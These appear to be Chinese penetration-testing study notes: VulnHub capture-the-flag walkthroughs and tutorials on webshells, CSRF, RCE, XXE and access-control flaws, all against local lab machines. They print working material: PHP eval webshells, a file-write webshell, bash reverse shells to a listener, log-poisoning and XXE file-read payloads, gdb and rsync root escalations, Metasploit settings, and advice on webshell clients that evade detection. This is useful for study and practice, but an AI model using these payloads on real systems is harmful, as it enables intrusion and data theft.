2、查看开启端口
nmap -sC -sV 192.168.184.137  -p- -vv -n --min-rate=2000
22/tcp   open  ssh           syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http          syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
7080/tcp open  ssl/empowerid syn-ack ttl 64 LiteSpeed		#可能为8088的后台
8000/tcp open  http          syn-ack ttl 64 nginx 1.14.2
8088/tcp open  radan-http syn-ack ttl 64 LiteSpeed	#LiteSpeed类似于Apache
  • 发现开启了22、8000、8088、80端口
3、访问7080

由于账号和密码都是未知,所以不考虑爆破

image-20220519121720134

三、🤎searchsploit查看漏洞

searchsploit litespeed                                                                                   

image-20220519121953092

四、🤎feroxbuster

目录探测工具

feroxbuster -u "http://192.168.184.137:8088/"

​ 由于8088和8000端口都开启了http服务,所以都需扫描

1、探测8088
200      GET       20l       51w      765c http://192.168.184.137:8088/
301      GET       14l      109w     1260c http://192.168.184.137:8088/cgi-bin => http://192.168.184.137:8088/cgi-bin/
301      GET       14l      109w     1260c http://192.168.184.137:8088/css => http://192.168.184.137:8088/css/
301      GET       14l      109w     1260c http://192.168.184.137:8088/img => http://192.168.184.137:8088/img/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs => http://192.168.184.137:8088/docs/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs/css => http://192.168.184.137:8088/docs/css/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs/img => http://192.168.184.137:8088/docs/img/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs/zh-CN => http://192.168.184.137:8088/docs/zh-CN/
301      GET       14l      109w     1260c http://192.168.184.137:8088/protected => http://192.168.184.137:8088/protected/
  • 发现http://192.168.184.137:8088/protected/需要账号登录

image-20220519153306317

由于账号和密码都是未知,所以不考虑爆破

2、探测8000

image-20220519153851180

3、探测80
301      GET        9l       28w      317c http://192.168.184.137/blog => http://192.168.184.137/blog/
301      GET        9l       28w      321c http://192.168.184.137/cgi-data => http://192.168.184.137/cgi-data/
200      GET       20l       51w      765c http://192.168.184.137/
403      GET        9l       28w      280c http://192.168.184.137/server-status
301      GET        9l       28w      329c http://192.168.184.137/blog/wp-includes => http://192.168.184.137/blog/wp-includes/
301      GET        9l       28w      326c http://192.168.184.137/blog/wp-admin => http://192.168.184.137/blog/wp-admin/
301      GET        9l       28w      328c http://192.168.184.137/blog/wp-content => http://192.168.184.137/blog/wp-content/
301      GET        9l       28w      330c http://192.168.184.137/blog/wp-admin/css => http://192.168.184.137/blog/wp-admin/css/
301      GET        9l       28w      333c http://192.168.184.137/blog/wp-admin/images => http://192.168.184.137/blog/wp-admin/images/
301      GET        9l       28w      331c http://192.168.184.137/blog/wp-admin/user => http://192.168.184.137/blog/wp-admin/user/
301      GET        9l       28w      334c http://192.168.184.137/blog/wp-admin/network => http://192.168.184.137/blog/wp-admin/network/
301      GET        9l       28w      332c http://192.168.184.137/blog/wp-admin/maint => http://192.168.184.137/blog/wp-admin/maint/
301      GET        9l       28w      336c http://192.168.184.137/blog/wp-content/uploads => http://192.168.184.137/blog/wp-content/uploads/
301      GET        9l       28w      329c http://192.168.184.137/blog/wp-admin/js => http://192.168.184.137/blog/wp-admin/js/
301      GET        9l       28w      335c http://192.168.184.137/blog/wp-admin/includes => http://192.168.184.137/blog/wp-admin/includes/
301      GET        9l       28w      336c http://192.168.184.137/blog/wp-content/plugins => http://192.168.184.137/blog/wp-content/plugins/
301      GET        9l       28w      335c http://192.168.184.137/blog/wp-content/themes => http://192.168.184.137/blog/wp-content/themes/
301      GET        9l       28w      344c http://192.168.184.137/blog/wp-content/plugins/akismet => http://192.168.184.137/blog/wp-content/plugins/akismet/

五、🤎尝试访问网站

http://192.168.184.137/cgi-data/

image-20220519155622248

getlmage.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
  /*
</?php include $_GET['file']; */
</body>
</html>

发现文件包含漏洞

  • 测试包含文件
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../etc/passwd

image-20220519155919142

测试能读,可以包含其他文件

六、🤎 尝试写入后门代码

1、访问日志

网站被访问的过程文件

/var/log/apache2/access.log

尝试访问,访问不成功,怀疑管理员修改了路径,尝试爆破

image-20220519162350491

image-20220519162906424

image-20220519162427109

image-20220519162915297

  • 结果为
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log
七、尝试在日志文件中写入代码
1、尝试修改User-Agen

image-20220519173031320

2、再次访问日志文件

发现成功写入日志

image-20220519173442091

3、写入一句话木马
<?php system($_GET['x']);?>
#传输一个x的值,让他来执行命令

  • 写入后发现代码被执行

image-20220519164452791

4、给x赋值

image-20220519164001807

image-20220519183616737

重新尝试修改为123123,会发现123123之间多了文件名,证明ls执行成功

七、🤎Hack-Tools

1、kali监听
nc -lvvp 8888 
2、反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
GET /cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log&x=bash+-c+'exec+bash+-i+%26>/dev/tcp/192.168.184.128/8888+<%261' HTTP/1.1

image-20220519204055721

Kali提权成功

3、此监听不可以使用回退

使用rlwrap nc -lvvp 8888

image-20220519204618230

但是不是交互式的命令

image-20220519204907385

八、🤎提权

www为安装Apache内置用户,权限相对于普通用户来说较低

1、开启交互式命令
python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220519205202426

2、查看用户

进入/home目录,发现用户durian

ls -al
drwxr-xr-x 2 durian durian 4096 Sep  8  2020 .
drwxr-xr-x 3 root   root   4096 Sep  7  2020 ..
-rw------- 1 durian durian   31 Sep  8  2020 .bash_history
-rw-r--r-- 1 durian durian  220 Sep  7  2020 .bash_logout
-rw-r--r-- 1 durian durian 3526 Sep  7  2020 .bashrc
-rw-r--r-- 1 durian durian  807 Sep  7  2020 .profile
3、查看权限
sudo -l
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /bin/ping

ls -al /sbin/shutdown
lrwxrwxrwx 1 root root 14 Apr 27  2020 /sbin/shutdown -> /bin/systemctl

ls -al /bin/systemctl
-rwxr-xr-x 1 root root 868696 Apr 27  2020 /bin/systemctl
4、下载提权工具
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh

./linpeas.sh

./linpeas.sh > 123123.txt		#输出结果输出到123123.txt

python3 -m http.server 6666		# Durian发送文件到kali

wget http:192.168.184.137:6666/123123.txt			#kali下载文件

image-20220519222249622

5、扫描出可以使用的命令

image-20220519222526494

6、检测出的漏洞

扫描出的CVE对可尝试使用

image-20220519222753825

# 下载攻击脚本
https://codeload.github.com/blasty/CVE-2021-3156/zip/main
7、使用gdb工具
  • 简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端(Shell)中使用
  • 是作反编译的工具,和内核进行通讯,所以gdb的权限会非常大
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

# -ex 		代表回车
# -nx		不指定前缀命令(不从任何gdbint初始化文件中执行命令)

image-20220519223937484

发现虽然没有显示用户名,但是提权成功

image-20220519224110505

8、开启交互式
python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220519224210093

  • 获取Flag
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b

WebShell原理与使用

一、💕基本信息

1、概念

​ 具有一定功能的,代码页面,可以通过文件上传漏洞进行部署,具备文件读写、命令执行等功能的web程序

2、分类
  • 大马

    • 具有比较全面的功能,单页面的钼靶程序
  • 小马

    • 具有部分或单一功能的木马程序
  • 一句话木马

    • 配合客户端使用的一类木马程序
  • 特殊功能木马

    • 数据库管理、建立网络连接
3、一句话木马的不同写法(PHP)
<?php eval($_REQUEST['aaa']);?>  	同时可以在POST或GET接收参数进行执行 
<?php eval($_POST['aaa']);?> 	 传统的一句话木马
<?php eval($_GET['aaa']);?>	 //基于GET的手工测试一句话木马

二、💕客户端

1、中国菜刀

传统的一句话木马客户端

①、优点
  • 开箱即用、小巧、灵活、兼容最原始的一句话
②、缺点
  • 传输的时候使用明文或简单编码、传输过程未进行加密
2、中国蚁剑
①、优点
  • 功能全面、兼容传统一句话木马、传输过程提供编码配置、稳定性强、具有后渗透功能
②、缺点
  • 不具备数据传输过程的加密处理,体积庞大,容易出现BUG
3、哥斯拉
①、优点
  • 传输过程全加密,很难进行审计,功能相对全面,工具使用java编写,兼容型好
②、缺点
  • 不兼容传统的一句话木马

三、💕大马

1、部署环境

image-20220520113214814

image-20220520113236940

2、操作MySQL
  • 获取MySQL密码

image-20220520113757130

  • 登录

image-20220520113830397

3、操作系统命令

image-20220520113927935

四、💕小马

  • 通常使用小马做驻留
  • 需要执行大马的时候,上传大马
1、源代码
<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">   
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?> 
2、执行

image-20220520114222230

image-20220520114305388

上传成功

五、💕一句话木马

1、源码
<?php @eval($_REQUEST['Yang']);?>
/*
eval可以将括号里的内容作为代码执行
Yang被称为密码
@符号可以屏蔽报错
*/
2、访问

image-20220520114849825

会发现页面为空,需要给Yang赋值才有回显

http://192.168.184.1/one.php?Yang=phpinfo();

image-20220520115023611

http://192.168.184.1/one.php?Yang=system('dir');

image-20220520115157979

六、💕菜刀

1、打开方式
  • cmd打开

    java -jar Cknife.jar
    
  • 客户端打开

2、使用介绍

image-20220520120444484

3、启动虚拟终端

image-20220520120522003

image-20220520120548981

4、启动数据库

image-20220520120733689

  • 获取数据的时候需要输入对应指令
select * from pikachu.users

image-20220520120854786

5、缺点
  • 返回值不做处理,waf可以通过返回的特殊词拦截
  • 发送的值包含敏感函数

七、💕蚁剑

1、连接

image-20220520205019428

2、拓展
  • 增加隐蔽性

image-20220520205108298

3、特点
  • 不光加密,并且添加在数据前和数据后添加其他数据
  • 但是函数名称还会保留,容易被waf拦截

八、💕哥斯拉

1、执行
java -jar godzilla.jar
  • 生成加密文件

image-20220520210019074

image-20220520210056748

2、攻击
  • 上传到文件目录下
  • 添加目标

image-20220520210531606

可以发现发送的数据包和返回的数据包都进行了加密

image-20220520210758043

返回的数据都会添加随机的前缀和后缀

image-20220520210837061

3、特点
  • 只能基于文件发现漏洞
  • 通过流量无法检测

九、💕PHP加密

http://www.phpjm.net/

image-20220520211859712

十、💕防护工具

1、D_safe

image-20220520211558993

2、WebShellKill

👑PowerGrid-1.0.1

一、🥑靶机信息

#靶机地址
http://www.vulnhub.com/entry/powergrid-101,485/
#参考文档
https://www.hackingarticles.in/powergrid-1-0-1-vulnhub-walkthrough/

二、🥑获取端口信息

1、获取IP
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.184.1   00:50:56:c0:00:08      3     180  VMware, Inc.                    
 192.168.184.2   00:50:56:f8:49:8c      2     120  VMware, Inc.                    
 192.168.184.138 00:0c:29:9b:a5:f9      2     120  VMware, Inc.                    
 192.168.184.254 00:50:56:e2:c5:b4      1      60  VMware, Inc.              
2、查看端口信息
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))

三、🥑查看端口信息

1、查看80端口

获取到三个用户名deez1, p48 and all2

image-20220522153528989

四、🥑目录扫描

gobuster dir -u http://192.168.184.138 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 20 -x php

#可以使用更大的字典进行扫描
gobuster dir -u http://192.168.184.138 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -t 20 -x php
/.htaccess.php        (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/images               (Status: 301) [Size: 319] [--> http://192.168.184.138/images/]
/index.php            (Status: 200) [Size: 3645]                                    
/server-status        (Status: 403) [Size: 280]                                     
/zmail                (Status: 401) [Size: 462] 

查看/zmail

image-20220521223008175

五、🥑暴力破解

1、抓取数据包

image-20220522154120347

2、解码

Decode as Base64

image-20220522154303303

3、爆破
  • 设置爆破密码

image-20220522154432857

image-20220522154623260

image-20220522154728135

image-20220522155251714

  • 编码

image-20220522154754957

p48:electrico

  • 也可使用Hydra
Hydra -L /tmp/user.txt	-P /tmp/pwasswd.txt -f 192.168.184.138 http-get /zmail

六、🥑登录

image-20220522155446321

可以读取一封电子邮件,其中我们在PGP中有一个加密消息,但是为了能够以普通方式读取其内容,我们需要私钥和密码。它很可能是相同的密码,因为此用户已对多个服务重复使用相同的密码。

image-20220522155918233

查看版本和版本漏洞

image-20220522160908665

https://www.exploit-db.com/exploits/40892

searchsploit Roundcube

locate php/webapps/40892.txt 
/usr/share/exploitdb/exploits/php/webapps/40892.txt

cat /usr/share/exploitdb/exploits/php/webapps/40892.txt

image-20220522161406264

七、🥑恶意代码

1、编辑邮件

image-20220522161558240

2、拦截数据并修改
  • 原始数据

image-20220522161755171

  • 修改后的数据

3、测试

发现植入成功

image-20220522164353395

八、🥑一句话木马登录

image-20220522164916921

发现第一个Flag

image-20220522165158825

九、🥑反弹Shell

1、kali监听
rlwrap nc -lvvp 8888 
2、反弹
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'

image-20220522170157321

3、开启交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'

十、🥑提权

1、进入p48

密码公用

我们在他的文件夹“ /home/ ”中找到了gpg 私钥(请记住,这是我们唯一缺少的能够破译文本的密钥) )。

image-20220522170524288

2、查看当前权限

image-20220522170428014

3、拷贝私钥
scp privkey.gpg  root@192.168.184.128:/tmp/
4、解密获取到私钥
  • 方式一
https://www.igolder.com/PGP/decryption/

image-20220522172558866

  • 方式二
gpg --import privkey.gpg   	#密钥

gpg --decrypt massage > id_rsa	#需要解密的文件(邮件里获取到的key)
5、修改权限
chmod 600 id_rsa 
6、查看进程

因为获取到了远程登陆的私钥,但是并没有开启22端口,所以查看是否存在Dcoker

image-20220522173722316

image-20220522173846143

我们发现没有打开 SSH 服务,我们记住了“ pivot ”跟踪,检查了连接并找到了一个由“ docker ”工作的服务。

我们为私钥授予 600 权限,并使用它通过 SSH 连接到 docker 并读取第二个标志下一个提示

7、查看docker网卡
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.112 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.031 ms
 sent 434, rcvd 21062
8、私钥登录

需要用私钥尝试登录

scp root@192.168.184.128:/tmp/id_rsa /tmp/
  • 修改权限

如果不修改权限,SSH会报权限太高的错误

chmod 600 id_rsa
  • 登录
ssh -i id_rsa p48@172.17.0.2

image-20220522174843522

发现Flag2

047ddcd1f33dfb7d80da3ce04e89df73

Well done for getting flag 2. It looks like this user is fairly unprivileged.

十一、🥑获取更高权限

1、查看当前的权限

image-20220522175101798

#rsync固定提权语句
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null 

image-20220522175437395

发现Flag3

009a4ddf6cbdd781c3513da0f77aa6a2

Well done for getting the third flag. Are you any good at pivoting backwards?
2、查看root/.ssh/目录下是否有SSH私钥
cd /root/.ssh
ls
ssh -i id_rsa root@172.17.0.1

image-20220522180410905

3、登录原主机

目前所在的Docker0.2,主机为0.1,通过Docker里的私钥返回登录主机

ssh -i id_rsa root@172.17.0.1

image-20220522180229291

发现Flag4

image-20220522180316751

网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。

这台靶机还运行着docker,就相当于有两台靶机

CSRF漏洞原理与利用

一、😎概念

​ 攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)–通过JS实现,或者第三方网站触发

二、😎攻击过程

image-20220521112353826

三、😎基于GET的CSRF攻击

1、需要用户登录系统

image-20220521113421810

2、拦截数据进行分析

image-20220521114022574

image-20220521114050186

只要包含正确的Cookie值,密码就可以被修改,但是如果修改了Cookie值以后,就不可以正常访问

3、构造跨站访问页面
  • 生成代码

image-20220521114345406

image-20220521114445593

  • 编写为HTML页面,并部署到Kali Web服务中
python3 -m http.server 808
4、在原始网站登录的情况下,访问CSRF文件

会发现修改成功

image-20220521115145746

image-20220521115211789

四、😎基于POST的CSRF攻击

五、😎基于Token的CSRF防护

1、通过抓包,我们发现每次访问都与要一个token值

image-20220521120823920

2、这种方法需要结合XSS漏洞,对浏览器进行挟持,然后读取当前页面中的源代码,获取token
3、使用获取的token值,组合csrf攻击语句,然后让目标浏览器自动跳转并执行攻击页面

RCE远程命令执行漏洞

一、概念

​ RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

二、命令执行

1、常见函数
  • system()
  • exec()
2、利用方法

通常使用操作系统命令执行中的,与或非关系进行连带命令执行

ping 127.0.0.1 | whoami
3、实例

192.168.184.1 && ipconfig

image-20220521121930103

三、代码执行

1、常见函数
  • evel()
2、利用方法

​ 输入命令执行函数语句即可

system('whoami');
3、实例
system('dir');

image-20220521171643828

不安全的文件下载

任意文件下载

1、抓取数据包

观察发现和文件包含类似

image-20220521172315957

2、在根目录下创建test测试文件

image-20220521172122710

3、尝试修改数据包

image-20220521172534182

目录遍历漏洞

敏感信息泄露

image-20220521174345750

敏感信息泄露

一般出现在代码中的注释信息,可能存在信息泄露额情况

image-20220521174630838

不安全的URL跳转

192.168.184.1/Pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com

image-20220521175450202

image-20220521175511192

SSRF漏洞

通过服务器对内部网络进行探测的一种攻击方法。

image-20220521175606483

将🔗链接读取出来,利用文本框显示

image-20220521175741791

image-20220521180839393

当我们访问Server的80端口时,其实访问的是Server映射到WAF上的端口,当存在SSRF漏洞时可以通过Server探测内网情况,访问到Server2

👑Presidential:1

一、靶机信息

#靶机
http://www.vulnhub.com/entry/presidential-1,500/

#参考
https://www.freebuf.com/articles/network/246534.html

二、基本信息

1、获取IP
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.184.1   00:50:56:c0:00:08      2     120  VMware, Inc.                    
 192.168.184.2   00:50:56:f8:49:8c      1      60  VMware, Inc.                    
 192.168.184.140 00:0c:29:be:e8:28      1      60  VMware, Inc.                    
 192.168.184.254 00:50:56:e2:c5:b4      1      60  VMware, Inc.   
2、获取开放端口
nmap -sC -sV -p- 192.168.184.140 -vv -n --min-rate=2000
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
2082/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)

三、访问80端口

不同的80端口,在不同域名访问的时候,返回的可能为不同的界面

发现邮箱信息,保留,可能为域名信息

contact@votenow.local

四、目录探测

gobuster dir -u http://192.168.184.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -t 20 -x php 
/assets               (Status: 301) [Size: 238] [--> http://192.168.184.140/assets/]
/config.php           (Status: 200) [Size: 0]

更换字典查看是否有漏扫

gobuster dir -u http://192.168.184.140 -w /usr/share/seclists/Discovery/Web-Content/big.txt  -t 20 -x php
/assets               (Status: 301) [Size: 238] [--> http://192.168.184.140/assets/]
/cgi-bin/             (Status: 403) [Size: 210]                                     
/config.php           (Status: 200) [Size: 0] 

访问/config.php,发现为空白界面

五、绑定域名

vim /etc/hosts

image-20220524212709966

六、漏洞探测

nikto -h http://votenow.local

发现3个漏洞

OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
OSVDB-3268: /icons/: Directory indexing found.
OSVDB-3233: /icons/README: Apache default file found.

XXE漏洞原理与利用

一、概念

1、什么是 XML?

​ 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。
2、XML 和 HTML 之间的差异
  • XML 不是 HTML 的替代。

  • XML 和 HTML 为不同的目的而设计:

    • XML 被设计用来传输和存储数据,其焦点是数据的内容。
    • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

3、XML 不会做任何事情
  • XML 被设计用来结构化、存储以及传输信息。

二、注入文本

<?xml version="1.0" encoding="UTF-8" ?>		<!--声明为XML的变量--> 
<!DOCTYPE ANY [<!ENTITY xxe "abcde" >]>        	 <!--定义了xxe的值--> 
<value>&xxe;</value>			<!--显示xxe的值-->

image-20220523110558255

三、抓包情况

image-20220523110736258

URL-decode

image-20220523110919131

  • 直接发送会显示失败
  • 原因:编码问题

image-20220523111039491

image-20220523111055828

四、读取文本内容

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://1.txt" >]>        	<!--读取文件传送给xxe-->
<value>&xxe;</value>
1、编写测试文档

image-20220523112214467

2、读取内容

image-20220523112146880

3、php组件

如果开启了此组件,XXE可以使用php://执行部分的PHP语句,常用的为Base64转换

读取源码的时候,有时候会有标签,如果不进行转换,服务器会先执行,再赋值给对应的变量,所以需要先转换,赋值后再解码

php -r 'system("ls");'

image-20220523112907454

php -r 'echo phpinfo();'

image-20220523113024384

👑XXE靶机

一、基本信息

80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.27 ((Ubuntu))
5355/tcp open  llmnr?  syn-ack ttl 1

二、访问80端口

Apache2的默认页,证明开启了Apache的服务,我们尝试探测目录

image-20220523114948894

三、目录扫描

# 指定字典扫描
feroxbuster -u http://192.168.184.141 -w /usr/share/seclists/Discovery/Web-Content/big.txt
403      GET       11l       32w      299c http://192.168.184.141/.htpasswd
200      GET      375l      964w    10918c http://192.168.184.141/
403      GET       11l       32w      299c http://192.168.184.141/.htaccess
200      GET        6l       10w       76c http://192.168.184.141/robots.txt
403      GET       11l       32w      303c http://192.168.184.141/server-status
1、查看robots.txt文件

限制爬虫,但是有时可以让我们了解到目录结构

image-20220523145704869

2、查看到两个Web网页

image-20220523150004353

image-20220523150017727

3、扫描xxe目录
feroxbuster -u http://192.168.184.141/xxe -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
301      GET        9l       28w      320c http://192.168.184.141/xxe/img => http://192.168.184.141/xxe/img/
200      GET       94l      189w     2468c http://192.168.184.141/xxe/admin.php
301      GET        9l       28w      324c http://192.168.184.141/xxe/scripts => http://192.168.184.141/xxe/scripts/
301      GET        9l       28w      316c http://192.168.184.141/xxe => http://192.168.184.141/xxe/
403      GET       11l       32w      294c http://192.168.184.141/.php
301      GET        9l       28w      323c http://192.168.184.141/xxe/styles => http://192.168.184.141/xxe/styles/
200      GET      209l      465w     5460c http://192.168.184.141/xxe/index.php
403      GET       11l       32w      298c http://192.168.184.141/xxe/.php
301      GET        9l       28w      330c http://192.168.184.141/xxe/styles/images => http://192.168.184.141/xxe/styles/images/
301      GET        9l       28w      327c http://192.168.184.141/xxe/scripts/ie => http://192.168.184.141/xxe/scripts/ie/
403      GET       11l       32w      305c http://192.168.184.141/xxe/styles/.php
403      GET       11l       32w      306c http://192.168.184.141/xxe/scripts/.php

四、登录抓取数据包

1、抓包分析

image-20220523150914753

image-20220523150932546

发现为XML

五、构造XML语句

1、测试
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY Yang SYSTEM "file:///etc/passwd">]>
<root><name>&Yang;</name><password>hj</password></root>

因为网页端会显示用户名,所以说才修改用户名

image-20220523151722856

2、爆破目录

image-20220523151923741

image-20220523151955357

image-20220523152035208

3、读取源码

读取admin.php的源码,转换为Base64,确保数据传输

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY Yang SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">]>
<root><name>&Yang;</name><password>hj</password></root>

image-20220523152440008

4、解码
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) 
    && !empty($_POST['password'])) {

    if ($_POST['username'] == 'administhebest' && 
        md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
        $_SESSION['valid'] = true;
        $_SESSION['timeout'] = time();
        $_SESSION['username'] = 'administhebest';

        echo "You have entered valid use name and password <br />";
        $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
        echo $flag;
    }else {
        $msg = 'Maybe Later';
    }
}
?>

获取到账户名和密码

administhebest

admin@123

六、登录

image-20220523153112829

1、访问Flag
http://192.168.184.141/xxe/flagmeout.php
2、查看源码
<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->
3、解码
  • 先通过Base32解码,在通过Base64解码

image-20220523153523377

4、发现/etc/.flag.php,查看源码
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY Yang SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]>
<root><name>&Yang;</name><password>hj</password></root>

image-20220523153758916

5、解码

是一种特殊的加密方式,可以尝试去运行这个文件

image-20220523153843038

七、访问加密文件

因为是php文件,所以增加php前缀

image-20220523154143046

将文件上传到PHPstudy,访问

image-20220523154338458

成功获取Flag

逻辑漏洞

一、水平越权

1、概念

​ 在同一权限级别下的不同账号之间,可以进行无限制的数据访问或功能执行

2、分析数据包
  • 源代码

image-20220523155231366

  • 修改数据

image-20220523155313077

访问到了其他用户的信息

二、垂直越权

1、概念

​ 低权限用户可以访问高权限用户数据或者执行高权限功能的一种情况

2、分析
  • 登录普通用户账号

image-20220523155451784

  • 登录管理员账号

image-20220523155647149

虽然普通用户没有添加用户的权限,但是当普通用户访问添加用户页面的时候,也可以执行权限

image-20220523155849412

image-20220523160024647

测试权限,添加成功

👑Jerome-v1.0.1

一、靶机信息

#靶机
https://www.vulnhub.com/entry/sp-jerome-v101,303/

#参考
https://www.hackingarticles.in/spjerome-vulnhub-walkthrough/

二、端口扫描

8080/tcp open  http-proxy syn-ack ttl 64 Squid http proxy 3.5.27
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.27

发现只有运行 squid 代理的端口 8080 处于打开状态

三、探测目录

image-20220523172859956

服务器对外只开放8080,如果想访问Server的80端口或者是其他服务器的80端口,需要用服务器做代理,才可以访问

feroxbuster -u http://127.0.0.1 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php --proxy http://192.168.184.142:8080
200      GET        1l        4w       19c http://127.0.0.1/
200      GET      465l      937w        0c http://127.0.0.1/server-status

四、添加代理

image-20220523174353474

五、访问server-status

image-20220523174628453

发现还开放了一个端口1337

六、探测1337端口

301      GET        0l        0w        0c http://127.0.0.1:1337/wordpress/index.php => http://127.0.0.1:1337/wordpress/

访问

image-20220523191216554

访问到了内网的服务

使用WordPress,存在通用的指纹识别方法,wp-admin为登录界面

image-20220523191955197

七、wpscan

针对WordPress的扫描

1、基础扫描
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u

-e u:枚举用户名
[+] root
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jerome
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

发现两个用户名

  • root

  • jerome

2、可以增加api获得更详细的资料
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u --api-token
  • 扫描出更多的漏洞

image-20220523195227725

3、密码破解
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u -P /tmp/passwd.txt -U /tmp/user.txt  
[!] Valid Combinations Found:
 | Username: jerome, Password: jerome

得到账号和密码Username: jerome, Password: jerome

八、msfconsole

  • 配置攻击目标的信息
1、搜索
search wp_crop_rce

image-20220523200623865

2、进入use0
show options		#查看配置

image-20220523200848020

set rhosts 127.0.0.1
set rport 1337
set TARGETURI /wordpress
set USERNAME jerome
set PASSWORD jerome
set Proxies http:192.168.184.142:8080
set ReverseAllowProxy true
  • 查看当前配置
show options

run执行

image-20220523201957607

拿到权限

3、查看能执行那些命令
?

image-20220523202121709

4、查看系统情况
sysinfo
meterpreter > sysinfo
Computer    : jerome
OS          : Linux jerome 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux		#后门程序所使用的语言

九、提权

1、先进入家目录,发现Flag

image-20220523202455020

2、进入系统级别的Shell
shell -t

image-20220523202605302

3、查看自启动文件
cat /etc/crontab

